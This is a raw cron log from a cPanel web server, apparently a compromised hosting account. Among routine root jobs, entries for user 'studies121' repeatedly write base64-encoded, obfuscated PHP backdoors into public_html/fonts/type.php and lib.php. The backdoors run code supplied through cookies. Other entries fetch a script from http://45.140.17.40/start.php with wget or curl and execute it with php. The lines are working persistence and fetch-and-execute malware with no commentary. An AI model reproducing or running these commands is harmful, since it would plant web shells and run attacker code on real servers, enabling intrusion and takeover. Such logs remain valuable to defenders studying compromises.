Sep  6 23:46:01 ip-184-168-122-23 CROND[14298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:46:01 ip-184-168-122-23 CROND[14296]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 23:46:01 ip-184-168-122-23 CROND[14300]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 23:47:01 ip-184-168-122-23 CROND[14400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:47:01 ip-184-168-122-23 CROND[14401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:47:01 ip-184-168-122-23 CROND[14404]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:47:01 ip-184-168-122-23 CROND[14402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:48:01 ip-184-168-122-23 CROND[14476]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 23:48:01 ip-184-168-122-23 CROND[14479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:48:01 ip-184-168-122-23 CROND[14481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:48:01 ip-184-168-122-23 CROND[14482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:48:01 ip-184-168-122-23 CROND[14483]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:49:01 ip-184-168-122-23 CROND[14561]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:49:01 ip-184-168-122-23 CROND[14562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:49:01 ip-184-168-122-23 CROND[14563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:49:01 ip-184-168-122-23 CROND[14564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:50:01 ip-184-168-122-23 CROND[14646]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 23:50:01 ip-184-168-122-23 CROND[14649]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 23:50:01 ip-184-168-122-23 CROND[14648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:50:01 ip-184-168-122-23 CROND[14653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:50:01 ip-184-168-122-23 CROND[14651]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 23:50:01 ip-184-168-122-23 CROND[14655]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 23:50:01 ip-184-168-122-23 CROND[14659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:50:01 ip-184-168-122-23 CROND[14662]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 23:50:01 ip-184-168-122-23 CROND[14661]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:51:01 ip-184-168-122-23 CROND[14748]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:51:01 ip-184-168-122-23 CROND[14751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:51:01 ip-184-168-122-23 CROND[14749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:51:01 ip-184-168-122-23 CROND[14750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:52:01 ip-184-168-122-23 CROND[14839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:52:01 ip-184-168-122-23 CROND[14842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:52:01 ip-184-168-122-23 CROND[14843]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:52:01 ip-184-168-122-23 CROND[14841]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 23:52:01 ip-184-168-122-23 CROND[14844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:53:01 ip-184-168-122-23 CROND[15011]: (root) CMD (/usr/lib64/sa/sa2 -A)
Sep  6 23:53:01 ip-184-168-122-23 CROND[15014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:53:01 ip-184-168-122-23 CROND[15017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:53:01 ip-184-168-122-23 CROND[15018]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:53:01 ip-184-168-122-23 CROND[15016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:54:01 ip-184-168-122-23 CROND[15096]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:54:01 ip-184-168-122-23 CROND[15098]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 23:54:01 ip-184-168-122-23 CROND[15099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:54:01 ip-184-168-122-23 CROND[15100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:54:01 ip-184-168-122-23 CROND[15102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:55:01 ip-184-168-122-23 CROND[15188]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:55:01 ip-184-168-122-23 CROND[15190]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 23:55:01 ip-184-168-122-23 CROND[15191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:55:01 ip-184-168-122-23 CROND[15193]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 23:55:01 ip-184-168-122-23 CROND[15194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:55:01 ip-184-168-122-23 CROND[15192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:56:01 ip-184-168-122-23 CROND[15277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:56:01 ip-184-168-122-23 CROND[15279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:56:01 ip-184-168-122-23 CROND[15280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:56:01 ip-184-168-122-23 CROND[15278]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 23:56:01 ip-184-168-122-23 CROND[15281]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:57:01 ip-184-168-122-23 CROND[15374]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:57:01 ip-184-168-122-23 CROND[15377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:57:01 ip-184-168-122-23 CROND[15375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:57:01 ip-184-168-122-23 CROND[15376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:58:01 ip-184-168-122-23 CROND[15536]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:58:01 ip-184-168-122-23 CROND[15538]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 23:58:01 ip-184-168-122-23 CROND[15540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:58:01 ip-184-168-122-23 CROND[15539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
